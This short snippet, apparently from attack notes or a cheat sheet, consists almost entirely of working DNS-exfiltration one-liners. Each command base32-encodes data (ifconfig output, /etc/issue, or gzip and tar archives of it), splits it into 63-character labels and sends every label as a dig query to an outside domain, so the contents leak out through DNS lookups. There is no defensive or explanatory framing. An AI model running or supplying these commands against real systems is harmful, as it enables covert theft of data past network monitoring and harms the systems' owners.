Data source here.

Set DNS domain and subdomain

dns_server=domain.uk
dns_name=5lz802ad6a7xz6c2izvq1hp6

ifconfig | base32 -w 63 | tr -d = | while read a; do dig +short $a.$dns_name.$dns_server; done;

base32 -w 63 < /etc/issue | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;

gzip - < /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;

tar czf - /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;